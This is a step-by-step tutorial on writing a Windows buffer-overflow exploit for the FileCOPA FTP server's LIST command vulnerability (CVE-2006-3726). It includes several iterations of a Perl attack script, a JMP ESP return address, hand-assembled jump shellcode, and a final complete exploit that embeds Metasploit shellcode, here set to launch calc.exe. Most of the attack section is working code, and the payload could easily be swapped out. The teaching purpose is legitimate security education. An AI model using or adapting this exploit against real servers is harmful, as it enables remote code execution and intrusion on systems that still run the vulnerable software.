Writing Windows Buffer Overflows
Writing a buffer overflow attack against a Windows program present several challenges that make it a bit more difficult than writing exploits on a Linux platform. In addition to not having popular tools such as gdb (the GNU Debugger) an attacker is faced with a closed box. Not only are most Windows applications closed source, but the operating system itself doesn't provide much transparency. When taken together this makes an attackers job fairly daunting.
Windows buffer overflow attacks are quite possible, however, and I'm writing this tutorial to walk you through developing one such attack. This article assumes some prior knowledge of assembly, x86 architecture, C and Perl programming. I hate to raise the bar like that, but if you're not familiar with these concepts then writing buffer overflows will be next to impossible as their inner workings hinge on all of these topics. While there are many tools you can use to assist in the process of finding and exploiting buffer overflow vulnerabilities, without a thorough understanding of how they work you're going to have a very hard time actually creating new exploits.
I'm going to skip over the obligatory explanation of what a buffer overflow or shellcode actually is because others have done a much better job in other places on the web. Poke around and you're sure to find some excellent articles explaining exactly how this sort of attack works. For the purposes of this tutorial we're going to attack an explicit (known) vulnerability in a certain piece of software. You can use this process to develop exploits for other programs as soon as vulnerability announcements are released.
For this tutorial you're going to need several things. It's quite handy to have a virtual machine that is running the target program, but this isn't entirely necessary. For the purposes of this tutorial you could use either VMWare Player or VirtualBox to run your virtual machine. You could alternatively install the vulnerable program on your actual machine, but I would advise against this. The exploit developed for this tutorial works on Windows XP service pack 1, but you can easily use the methodology to get a working exploit for Windows 2000 or 2003 (or another XP service pack) as well. I'm going to assume that you're developing this exploit on a Windows (XP) machine, although you could develop under almost any operating system.
FileCOPA FTP server is known to have several vulnerabilities. CVE-2006-3726 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-3726) outlines a buffer overflow attack via a long LIST command. We're going to explore how this vulnerability works and how we can use it to exploit a vulnerable FileCOPA server. You can Google for "download FileCOPA 1.01" and find several places to download a vulnerable version of the server. Note that the software is free for 30 days, but after that time you must pay for it. If you can't find FileCOPA let me know and I can point you towards a copy :)
Once you've downloaded FileCOPA you're going to need a couple of other pieces. Firstly we're going to develop our exploit using Perl, so if you're on Windows I'd recommend downloading ActivePerl from ActiveState. You're also going to need the NASM assembler program that's available on most Linux installations. You might want to set up a Linux virtual machine, or you can use an account on any x86 based Linux machine for that part. Finally you'll need a copy of Olly Debug (v1.10), a free Windows debugging program. You can download Olly Debug from http://www.ollydbg.de/odbg110.zip. You'll also need a special plugin for Olly Debug called OllyUni. OllyUni used to be hosted by Phenoelit.de but thanks to new German anti-hacking laws they had to move it. You can now get OllyUni from http://www.phenoelit-us.org/fr/tools.html. Once you've got all these tools you're good to go.
Getting the FileCOPA Target Running
The first step in this tutorial is to get a working virtual machine with Windows XP SP 1 on it up and running. Next, install FileCOPA file server on this image. Finally, extract Olly Debug and Olly Uni. Put all the Olly Uni files into the Olly Debug directory. Once this is done fire up the FileCOPA server (if it's not already running). Take note of the virtual machine's IP address for the attack.
Demonstrating the Vulnerability
Now that our target is all set up let's start attacking it. We know there's a problem with long LIST commands being sent to the server. In order to ease our payload delivery we're going to write a Perl script to deliver our attack string. We'll start out simple, but I'm going to give away one hint that you can find on your own but would take a while. Part of getting this exploit working includes passing two arguments to the LIST command so that it triggers the buffer overflow. More will work as well, but you can't just pass a ton of characters in and get an exploitable overflow. You'll notice our original attack string will start with an A then a space (\x20) to form the first argument and start off the second. Our initial attack script will look something like this:
#C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <firstname.lastname@example.org> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 512; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'email@example.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit;
As soon as you run this script you'll see pretty quickly that it crashes the filecpnt.exe process:
Using Olly Debug to Monitor FileCOPA
Thus far we've created a denial of service script. We're able to crash the server, but we want to be able to do more than just crash the server, we'd like to be able to run arbitrary commands. In order to do this we're going to need a little more information about what is going on behind the scenes as the server is crashing. Let's go ahead and close up FileCOPA and restart it. Once FileCOPA is up and running start up Olly Debug. Once Olly Debug is running attack the filecpnt.exe process using the File -> Attach option:
Once Olly Debug has the attached process you'll see that it fills up registers and pauses the process (note the yellow 'Paused' label in the lower right). In order to proceed you'll need to un pause Olly. Click the blue play button (the arrow pointing right) in the tool bar in order to start FileCOPA again.
Now that FileCOPA is running lets fire off our Perl script again. What will happen is that FileCOPA will crash, but Olly will catch the crash. You'll notice if you look back at Olly that it's paused. You'll also be able to look at the registers and the stack at the time of the crash.
Examining the Buffer Overflow
As you can see the EIP and the EBP have both been overwritten with 41414141 (the ASCII for "A"). Our overflow worked! Now, the next trick is to control which variables get put into these registers. The EIP and ESP are especially important. The EIP is the "instruction pointer" and points to the next instruction for the processor to execute. If you look in the status bar on Olly you'll see "Access violation when executing " - basically the EIP points to an address in memory that the program can't get to and thus it crashes. The EBP is the base pointer, and the ESP is the stack pointer. The ESP is going to be important in a little bit.
The Notorious Null Byte Problem
Let's take a moment and reflect on the null byte problem in buffer overflows. Buffer overflows usually occur when a string (a.k.a. a character array in C) is being copied into a buffer that isn't large enough to hold it (and thus the characters in the string write beyond an array bounds off into stack control space like the base pointer and the instruction pointer). Now, recalling that when C copies a string it identifies the end of a string by a null. Thus, if you try and copy a 200 byte string, but the 100th byte is a null character (0x00) then only the first 100 bytes will be copied because C sees those two zeroes as a null character and aborts the copy.
Looking really quickly at the memory that FileCOPA is occupying we can see how this is going to be a problem. Ideally we'd like to simply put the address of our shellcode into the EIP and the processor would happily move to that address and begin executing our shellcode. However, if you look at the buffer overflow payload in the lower right window of Olly you'll see it exists at an address like 0x00B2FE08. Notice that first "00" in the address? If we try and use that to overwrite the EIP it won't work because the copy that's triggering the overflow will stop as soon as it hits those zeroes and the rest of our address won't be written at all. This is the huge pain of buffer overflows, but don't despair, there are ways of dealing with it!
Redirecting Program Flow
One item to note is the ESP (or the stack pointer). This holds an address of 0x00B2FE08. If you look into the stack in the lower right hand of Olly you'll see that this address points into our shellcode! We could use this address to start our shellcode. If we could find a way to put the assembly instructions:
into the EIP we could actually move program flow into a memory range that we control. There are two caveats to this strategy. The first problem is that the EIP points to a memory address, not to actual instructions. The second problem is that if you look at the address 0x00B2FE08 you'll see there's only about 21 bytes of our buffer overflow code, not nearly enough for shellcode! Let's deal with the first problem then we'll turn to the second.
We can end run the problem of putting the jump instruction directly into the EIP by putting the memory address of *another* instruction that is JMP ESP. JMP ESP is a pretty common instruction so we should be able to find it somewhere in memory. Your first instinct might be to read through the instructions that FileCOPA uses to look for a JMP ESP instruction, but there's a problem with this. FileCOPA exists in a memory range that starts with 0x00 and thus we'll run into the null character problem again. However, there is a very clever way to get around this (I take no credit for this idea!). Because system libraries are accessible to programs in Windows (thank the makers for DLL's) we can probably find a JMP ESP instruction in a DLL somewhere. Not only that, but these instructions exist in the 0x77 address range (how convenient) so we can get around the null character problem.
In order to find a suitable JMP ESP instruction we're going to use the OllyUni plugin. To do this you're going to have to stop Olly, kill FileCOPA, then restart FileCOPA, restart Olly, attach filecpnt and un pause FileCOPA. Once you've got all this done (get used to this process you're going to have to do it quite a bit in these sorts of exercises) we'll utilize the OllyUni. Right click in the upper right portion of Olly, select Overflow Return Address -> ASCII overflow returns -> Search JMP/CALL ESP
Now go get a cup of coffee! The process of searching through all the memory addresses to find this instruction takes some time so have patience. While Olly is working on this you'll see the notice "Finding ASCII (0xXXXXXXXX) - X.X%" in the status bar. The percent will increment as the search progresses. Once OllyUni is done view the log file and pick out a memory location that contains the JMP ESP command.
Alternatively you can search in Metasploit's Opcode Database (http://www.metasploit.com/users/opcode/msfopcode.cgi) making sure to select a specific opcode for JMP EBP and the correct operating system. Although OllyUni takes much longer to find the right instruction I prefer using it because it tends to be more accurate. Let's say we chose 0x77dbb497 from user32.rsrc in Windows XP SP1 (English). Next we have to convert that address so it's listed in little endian. For the purposes of our Perl script we would use:
$buffer .= "\x97\xb4\xdb\x77";
You'll notice the order of the bits are reversed (for little endian notation). Next we have to figure out where to put our address so it falls within on the EIP exactly. The easiest way to do this (aside from counting the A's in Olly is to just alter the Perl program so that the first have of the overflow payload is A and then list four B's then the second half is C like so:
#C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <firstname.lastname@example.org> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 254; $buffer .= "B" x 4; $buffer .= "C" x 254; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'email@example.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit;
Make sure Olly has FileCOPA attacked and then fire off this version of the code. You'll notice that the EIP is now overwritten with A's (414141) meaning we have to reduce the number of A's and increase the number of C's. The idea is to get the EIP overwritten with B's (42424242) so we know where to put our new EIP instruction in our payload. You should find the following gets your the right output:
#C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <firstname.lastname@example.org> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 232; $buffer .= "B" x 4; $buffer .= "C" x 276; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@"; $ftp->login("anonymous",'email@example.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer); #clean up $ftp->quit;
This code will overwrite the EIP with 42424242. Now we can insert our new instruction and see if in fact the program flow jumps to our new location in our payload. Try the code:
#C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <firstname.lastname@example.org> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; $buffer = "A\x20"; $buffer .= "A" x 232; $buffer .= "\x97\xb4\xdb\x77"; # JMP ESP $buffer .= "C" x 276; #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \nTrying $i"; $ftp->login("anonymous",'email@example.com') or die "Couldn't log in: $@\nTrying $i\n"; $ftp->list($buffer); #clean up $ftp->quit;
This should cause a crash. You'll notice, however, that the crash is on an "Illegal instruction" that falls just behind our new JMP ESP instruction in the 0x00B2FE08 range. This indicates we've created a successful jump and the program is continuing execution in our payload. Unfortunately, if you look carefully, you'll see we have a scant 21 bytes of payload in this memory area. What happened to the rest of our payload? Well, if you take a look at ECX you'll see that it holds a value that looks suspiciously like a memory address. By right clicking the ECX and selecting 'Follow in Dump' we can take a look at that area of memory:
Looking through this memory range (around 0x0063298C) you'll see the entire contents of our payload. The trick now becomes moving from the 21 bytes of available space we know we can access, into the rest of the payload. It's not important as to why the payload exists in two places in memory except to realize that just because you find payload in one place in memory doesn't mean that it only exists there. FileCOPA, as near as I can tell, is actually parsing in the input and allocating memory for it properly, but then it seems a secondary routine is calling that input and attempting to work with it in an unsafe manner that is causing the buffer overflow.
Jumping to the Malicious Payload
Now that we know our full payload actually exists outside of the memory space that's causing the buffer overflow we can attempt to utilize this extra space. We need to move from the 21 bytes of space available after our JMP ESP into our full payload. Remember that ECX holds an address value roughly equivalent to where we want to jump the program execution. You might first be tempted to simply issue a JMP ECX, but if you examine that memory address you'll see it contains illegal instructions because it occurs before our JMP ESP command and thus would be useless. One strategy is to alter the ECX register value then perform a JMP ECX. This works on Windows 2000, but for some reason the JMP ECX doesn't work on Windows XP (it gets interpreted as a JS or jump short and doesn't reach the target). Let's get started writing our shellcode.
Writing shellcode for Windows isn't actually as difficult as it would initially seem. As long as you're not making calls to kernel hooks (like reading and writing) you can write shellcode using NASM on any x86 Linux machine. For our purposes we can use a separated virtual machine running Linux with NASM installed on it. NASM is an assembler that we can use to compile our assembly instructions. We'll then use objdump to dump the opcode from our compiled and linked assembly program.
One trick to writing shellcode that will apply across the board to these sorts of exercises is avoiding the use of null bytes (0x00). Because C is copying strings to enable this buffer overflow, the copy will terminate To start with let's edit a file called JmpShell.s and create a some sample code to manipulate the ECX like so:
global _start _start: add ecx, 0xffff151 sub ecx, 0xffff001 jmp 0x7739de88
You'll notice I'm jumping to a rather odd address. Actually what we're doing here is that we're utilizing the fact that this code will jump to a memory location equal to the start of the assembly code plus a value. Because the actual address space we want to arrive at (0x0063298C) is actually lower than the address space we have to put our jump shellcode (0x00B2FE08) we can't use this functionality directly. Since we can only move higher in the address space we're going to utilize our old OllyUni DLL trick. Searching through the memory registers as before you can find higher address space that contains the instruction JMP ECX:
Once we've identified this space we do a little subtraction to find out how high we need to jump from the start of our assembly to the JMP ECX instruction in kernel32.text at address 0x77ECDCA0. It turns out this value is 0x7739de88, and therefore that's what I'm using in the assembly.
So to recap, I'm adjusting the value of ECX so that it points to a usable portion of our payload. Because of the null byte problem I can't just add 0x150 like I want to as this will introduce null bytes. Instead I'm adding 0x00xffff151, then subtracting 0x0ffff001 so that the ECX increments a total of 0x150. This isn't necessarily the best way to do this, or the most clever, but it's expedient and it works. Finally I'm jumping to an address in memory that I know holds the JMP ECX instruction.
To compile my shellcode I use NASM and objdump like so (remember, the above code is saved as JmpShell.s):
$ nasm -f elf JmpShell.s -o JmpShell.nasm $ objdump -d JmpShell.nasm JmpShell.nasm: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: 81 c1 51 f1 ff 0f add $0xffff151,%ecx 6: 81 e9 01 f0 ff 0f sub $0xffff001,%ecx c: e9 84 de 39 77 jmp 7739de95 <_start+0x7739de95>
Now to extract the shellcode all I have to do is pull out the paired opcode values like so:
$buffer .= "\x81\xc1\x51\xf1\xff\x0f"; # ADD ECX, 0x0ffff151 $buffer .= "\x81\xe9\x01\xf0\xff\x0f"; # SUB ECX, 0x0ffff151 $buffer .= "\xe9\x84\xde\x39\x77"; #adjusted jump to 0x77ecdca0
Now we've got our jump instructions that will point us into the second half of our payload. Let's go ahead and adjust the payload a little bit so that we include a NOP sled. These are a series of "no operation" commands that gives us a little flexibility in where we land. If we land on a NOP instruction the processor simply won't do anything and increment the EIP and carry out the next command. This will continue until the processor hits our final malicious payload.
Adding the Payload
To get our final payload let's use the metasploit payload database at http://metasploit.com:55555/PAYLOADS instead of writing our own (finally, an automated portion of this exercise :). Since this is more of a learning tutorial we'll use a pretty benign exploit. We're going to fire up the calculator on the remote machine (or calc.exe). We'll use the "Windows Execute Command" payload and the command will be calc.exe. The resulting exploit shellcode looks something like this:
# win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com my $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91";
The Final Exploit
Adding this code into our exploit we now have the following:
#C:\Perl # # FileCopa FTP Exploit # # By Justin C. Klein Keane <firstname.lastname@example.org> # Last Modified July 17, 2008 # use Net::FTP; $target = "192.168.37.128"; # win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com my $shellcode = "\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2". "\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4". "\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8". "\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c". "\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7". "\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5". "\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a". "\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9". "\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95". "\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9". "\x87\x61\xf1\x91"; $buffer = "A\x20"; $buffer .= "A" x 232; #just some garbage $buffer .= "\x97\xb4\xdb\x77"; # JMP ESP $buffer .= "\x90"; # spacer to put shellcode into ESP range $buffer .= "\x81\xc1\x51\xf1\xff\x0f"; # ADD ECX, 0x0ffff151 $buffer .= "\x81\xe9\x01\xf0\xff\x0f"; # SUB ECX, 0x0ffff151 $buffer .= "\xe9\x84\xde\x39\x77"; #adjusted jump to 0x77ecdca0 $buffer .= "\x90" x 32; $buffer .= $shellcode; #add the evil #start the connection $ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) or die "Cannot connect to $host: $@ \n"; $ftp->login("anonymous",'email@example.com') or die "Couldn't log in: $@\n"; $ftp->list($buffer) or die "Error with list: $@\n"; #clean up $ftp->quit;
When you fire this exploit code against the target you'll notice that filecpnt.exe dies and calc.exe appears in the list of running processes.
And with that you're done! Hopefully I've helped to demystify some of the process involved in writing a buffer overflow against a vulnerable windows service. Enjoy!